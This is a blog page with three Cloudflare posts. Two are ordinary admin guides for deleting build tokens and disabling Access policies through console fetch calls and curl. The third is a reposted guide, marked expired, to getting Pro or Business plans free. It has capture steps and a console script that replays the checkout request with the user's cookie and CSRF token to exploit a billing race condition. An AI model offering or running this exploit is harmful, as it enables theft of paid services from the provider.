Technology on WitCorn Blog

Delete Cloudflare Build Token

Sat, 11 Jul 2026 08:00:00 +0800

Why Is a Build Token Needed?

GitHub repositories are private by default (even for public repositories, external systems still require authorization to monitor changes). Cloudflare needs a valid authentication credential to access your repository contents.

How to Delete a Build Token?

When using Cloudflare Workers to connect to a GitHub repository for project deployment, the system automatically generates a Build Token. Even after the project is deleted, these Build Tokens may still remain in Cloudflare.

GitHub Side: Delete GitHub Deploy Key

Go to your repository → Settings → Deploy keys and delete it.

Cloudflare Side: Delete Cloudflare Build Token

Delete User API Token

First, open this page, find the API Token ending with build token, and delete the token.

Delete Build Token

After logging in to the Cloudflare Dashboard, you will see a string of characters. This is your Account ID.

dash.cloudflare.com/[Account ID]

Method 1: Delete Build Token Through Browser Console

This method uses the internal Dashboard API endpoint and relies on browser session cookie authentication. No API Token is required.

Open the Cloudflare Dashboard and keep this page open. On Windows, press F12 or Ctrl + Shift + J; on Mac, press Command + Option + J. You can also right-click anywhere blank on the webpage, select Inspect, and then switch to the Console tab.

Execute the following code in the console to query the build token UUID. Make sure to replace YOUR_ACCOUNT_ID.

The first time you use the browser console, you need to confirm activation according to the prompt.

const accountId = 'YOUR_ACCOUNT_ID';

async function getBuildToken() { 
  const url = `https://dash.cloudflare.com/api/v4/accounts/${accountId}/builds/tokens`;

  try {
    const response = await fetch(url, {
      method: 'GET',
      headers: {
        'Content-Type': 'application/json',
        'x-cross-site-security': 'dash'
      },
      credentials: "include"
    });

    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }

    const data = await response.json();
    console.log('Request successful:', data);
    return data;
  } catch (error) {
    console.error('Request failed:', error);
  }
}

getBuildToken();

After the console outputs a successful request, open the Network tab. Among the generated traffic, locate the GET request named tokens.

Select this request and find build_token_uuid in result under Preview or Response. This is the build token UUID that will be used later (note that it is build_token_uuid, not cloudflare_token_id).

Then execute the following code in the console to delete the build token. Make sure to replace YOUR_ACCOUNT_ID and YOUR_BUILD_TOKEN_UUID.

The first time you use the browser console, you need to confirm activation according to the prompt.

const accountId = 'YOUR_ACCOUNT_ID';
const buildTokenUuid = 'YOUR_BUILD_TOKEN_UUID';

async function deleteBuildToken() {
  const url = `https://dash.cloudflare.com/api/v4/accounts/${accountId}/builds/tokens/${buildTokenUuid}`;
  
  try {
    const response = await fetch(url, {
      method: 'DELETE',
      headers: {
        'Content-Type': 'application/json',
        'x-cross-site-security': 'dash'
      },
      credentials: "include"
    });

    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }

    const data = await response.json();
    console.log('Deletion successful:', data);
    return data;
  } catch (error) {
    console.error('Request failed:', error);
  }
}

deleteBuildToken();

If the console returns a Deletion successful message, the build token has been successfully deleted.

Method 2: Delete Build Token Using curl

This method uses the official Cloudflare API endpoint and requires an API Token.

Return to this page and click Create Token.

Select the Edit Cloudflare Workers template.

For Account Resources, select your Cloudflare account. For Zone Resources, select All Zones, then click Continue to summary.

Click Create Token.

You will receive a User API Token starting with cfut_. If your account used a User API Token before April 2026 and you have not replaced it, it may not have the cfut_ prefix. Keep this Token safe. It will only be displayed once.

Next, use the curl command to send a GET request to query the build token UUID.

`1`	`curl -X GET "https://api.cloudflare.com/client/v4/accounts/[Account ID]/builds/tokens" -H "Authorization: Bearer [Your Token]" -H "Content-Type: application/json"`

Make sure to replace [Account ID] and [Your Token].

The response will look like this:

{
  "result": [
    {
      "build_token_uuid": "[build token uuid]",
      "owner_type": "user",
      "build_token_name": "REDACTED",
      "cloudflare_token_id": "REDACTED"
    }
  ],
  "success": true,
  "errors": [],
  "messages": [],
  "result_info": {
    "next_page": false,
    "page": 1,
    "per_page": 50,
    "count": 1,
    "total_count": 1,
    "total_pages": 1
  }
}

The value of build_token_uuid is the build token UUID. Record this UUID, then use the following curl command to send a DELETE request to remove this build token.

(Note: use build_token_uuid, not cloudflare_token_id.)

`1`	`curl -X DELETE "https://api.cloudflare.com/client/v4/accounts/[Account ID]/builds/tokens/[build token uuid]" -H "Authorization: Bearer [Your Token]" -H "Content-Type: application/json"`

Make sure to replace [Account ID], [build token uuid], and [Your Token].

If the response is as follows, the build token has been successfully deleted.

{
  "result": "ok",
  "success": true,
  "errors": [],
  "messages": []
}

Finally, delete the User API Token you just created to prevent accidental exposure.

Disable Cloudflare Access via API

Fri, 10 Jul 2026 08:00:00 +0800

Get App UUID

After logging in to the Cloudflare Dashboard, you will see a string of characters. This is your Account ID.

dash.cloudflare.com/[Account ID]

If you enabled Preview Access through Pages project, you can follow the steps below to obtain the app UUID:

Go to Compute → Workers & Pages.

Find the Pages project where Preview Access was accidentally enabled, then go to Settings → Preview Access → Manage.

If it shows Restrict Previews here, it means that this Pages project does not have Cloudflare Access enabled.

After entering Manage, you will see two strings. As shown in the image, the first string is the Account ID, and the second string is the app UUID.

If you enabled an Access Policy through another method, you can query the app UUID using the following method.

Execute the following code in the console. Make sure to replace YOUR_ACCOUNT_ID.

The first time you use the browser console, you need to confirm activation according to the prompt.

const accountId = 'YOUR_ACCOUNT_ID';

async function getAccessApp() { 
  const url = `https://dash.cloudflare.com/api/v4/accounts/${accountId}/access/apps/`;

  try {
    const response = await fetch(url, {
      method: 'GET',
      headers: {
        'Content-Type': 'application/json',
        'x-cross-site-security': 'dash'
      },
      credentials: "include"
    });

    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }

    const data = await response.json();
    console.log('Request successful:', data);
    return data;
  } catch (error) {
    console.error('Request failed:', error);
  }
}

getAccessApp();

After the console outputs a successful request, open the Network tab. Among the generated traffic, locate the GET request named apps/.

Select this request and find the corresponding Access Policy ID in Preview or Response under result. This ID is the app UUID used later.

Disable Access Policy

Method 1: Disable Access Policy Through Browser Console

This method uses the internal Dashboard API endpoint and relies on browser session cookie authentication. No API Token is required.

Execute the following code in the console. Make sure to replace YOUR_ACCOUNT_ID and YOUR_APP_UUID.

The first time you use the browser console, you need to confirm activation according to the prompt.

const accountId = 'YOUR_ACCOUNT_ID';
const appUuid = 'YOUR_APP_UUID';

async function deleteAccessApp() {
  const url = `https://dash.cloudflare.com/api/v4/accounts/${accountId}/access/apps/${appUuid}`;
  
  try {
    const response = await fetch(url, {
      method: 'DELETE',
      headers: {
        'Content-Type': 'application/json',
        'x-cross-site-security': 'dash'
      },
      credentials: "include"
    });

    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }

    const data = await response.json();
    console.log('Deletion successful:', data);
    return data;
  } catch (error) {
    console.error('Request failed:', error);
  }
}

deleteAccessApp();

If the console returns a Deletion successful message, the Access Policy has been successfully disabled.

Method 2: Disable Access Policy Using curl

This method uses the official Cloudflare API endpoint and requires a Global API Key.

Open this page, find Global API Key, then view or modify it and copy the key.

The Global API Key starts with cfk_. If your account used a Global API Key before April 2026 and you have not replaced it, it may not have the cfk_ prefix.

Next, use the curl command to send a DELETE request to disable the specified Access Policy (make sure to modify the values).

Windows:

curl -X DELETE "https://api.cloudflare.com/client/v4/accounts/[Account ID]/access/apps/[app uuid]" -H "X-Auth-Email: [Account Email]" -H "X-Auth-Key: [Global API Key]" -H "Content-Type: application/json"

Linux:

curl -X DELETE "https://api.cloudflare.com/client/v4/accounts/[Account ID]/access/apps/[app uuid]" \
-H "X-Auth-Email: [Account Email]" \
-H "X-Auth-Key: [Global API Key]" \
-H "Content-Type: application/json"

Make sure to replace [Account ID], [app uuid], [Account Email], and [Global API Key].

If the output is similar to the following, the Access Policy has been successfully disabled.

{
"result": {
"id": "[app uuid]"
},
"success": true,
"errors": [],
"messages": []
}

Get Cloudflare Pro or Business for Free (Expired on July 2026)

Tue, 06 Jan 2026 08:00:00 +0800

This article is reposted from https://blog.hyun.cc/post/yong-jiu-bai-piao-cloudfire-pro-huo-business/

Cloudflare Billing Logic Flaw: Bypassing Premium Subscriptions via Request Replay

While reverse-engineering Cloudflare’s subscription system, I discovered an interesting “gap” between the frontend checkout logic and the backend state synchronization. By using a specific request replay technique, it is possible to trick the backend into activating the Pro or Business plan without the system generating an actual bill.

01. Core Behavior: A “Quantum Superposition” of Identity and Permissions

This bypass method places the account in a peculiar state of misalignment:

Privilege Escalation: The account effectively unlocks exclusive Pro/Business features (such as advanced WAF rules, image optimization, dedicated edge nodes, etc.).
Logic Mismatch: The subscription management interface still displays the Free plan. Since the billing loop is never closed, the system generates no pending payment items or actual charges.
Zero-Cost Operation: Exploiting the logic flaw in the checkout interface allows for “free access” to premium privileges.

02. Prerequisites

Before reproducing this logic flaw, the following conditions must be met:

Domain Onboarding: The domain has been successfully added to the Cloudflare account.
Payment Environment: No valid credit card is linked to the account (or a card with a zero balance is linked to pass the initial check).
Target Selection: On the Active Subscriptions page, click Change, select the Pro or Business plan you wish to activate, and proceed to the payment page.

03. Steps: Capture and Replay

Using browser Developer Tools (DevTools), we can manually intervene in the checkout request.

Step 1: Locate the Key Request

Open the Network tab and click the payment button at the bottom of the page. Within the resulting traffic, locate the POST request named Append.

Step 2: Extract Core Metadata

Select the request and extract the following key parameters from the Headers and Payload sections:

Request URL: The full API endpoint address.
Cookie: Authentication credentials for the current session.
X-atok: A Cloudflare-specific CSRF/authentication token.
Payload: Click View Source within the Request Payload section to retrieve the raw JSON structure.

Step 3: Console Script Injection

Switch to the Console tab and use the asynchronous script below to perform high-frequency replays.

04. Automated Replay Script

    /**
     * Cloudflare Subscription Bypass Replay Script
     * For technical research purposes only; do not use for illegal activities.
     */
    
    const url = 'PASTE_YOUR_URL_HERE'; 
    
    const headers = {
      'content-type': 'application/json',
      'accept': '*/*',
      'origin': 'https://dash.cloudflare.com',
      'referer': 'https://dash.cloudflare.com/',
      'x-atok': 'PASTE_YOUR_X_ATOK_HERE',
      'x-cross-site-security': 'dash',
      'cookie': 'PASTE_YOUR_COOKIE_HERE',
      'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36'
    };
    
    // Insert the payload data found in "View Source"
    const payload = { /* ... */ };
    
    const delay = ms => new Promise(res => setTimeout(res, ms));
    
    (async () => {
      console.log("%c Starting request replay...", "color: #007aff; font-weight: bold;");
      
      for (let i = 0; i < 10; i++) {
        fetch(url, {
          method: 'POST',
          headers: headers,
          body: JSON.stringify(payload)
        })
        .then(res => console.log(`[Batch ${i}] Status: ${res.status}`))
        .catch(err => console.error(`[Batch ${i}] Error:`, err));
    
        await delay(100); // 100ms interval to simulate concurrent race conditions
      }
      
      console.log("%c Script execution complete; please refresh the dashboard to verify permissions.", "color: #34c759; font-weight: bold;");
    })();

05. Technical Postscript

The root cause of this vulnerability likely stems from how Cloudflare handled the Append operation: the system executed the permission-granting logic first, while validating the payment result asynchronously. Under rapid, concurrent requests, the backend distributed database may have experienced a temporary state synchronization lag; consequently, permissions were written to the metadata, even though the billing transaction was subsequently rolled back due to a failed payment.

This “board first, pay later” approach is common among SaaS platforms striving for a seamless frontend experience, yet it also offers an excellent entry point for security research.

Technology on WitCorn Blog

Delete Cloudflare Build Token

Why Is a Build Token Needed?

How to Delete a Build Token?

GitHub Side: Delete GitHub Deploy Key

Cloudflare Side: Delete Cloudflare Build Token

Delete User API Token

Delete Build Token

Method 1: Delete Build Token Through Browser Console

Method 2: Delete Build Token Using curl

Disable Cloudflare Access via API

Get App UUID

Disable Access Policy

Method 1: Disable Access Policy Through Browser Console

Method 2: Disable Access Policy Using curl

Get Cloudflare Pro or Business for Free (Expired on July 2026)

Cloudflare Billing Logic Flaw: Bypassing Premium Subscriptions via Request Replay

01. Core Behavior: A “Quantum Superposition” of Identity and Permissions

02. Prerequisites

03. Steps: Capture and Replay

Step 1: Locate the Key Request

Step 2: Extract Core Metadata

Step 3: Console Script Injection

04. Automated Replay Script

05. Technical Postscript

See also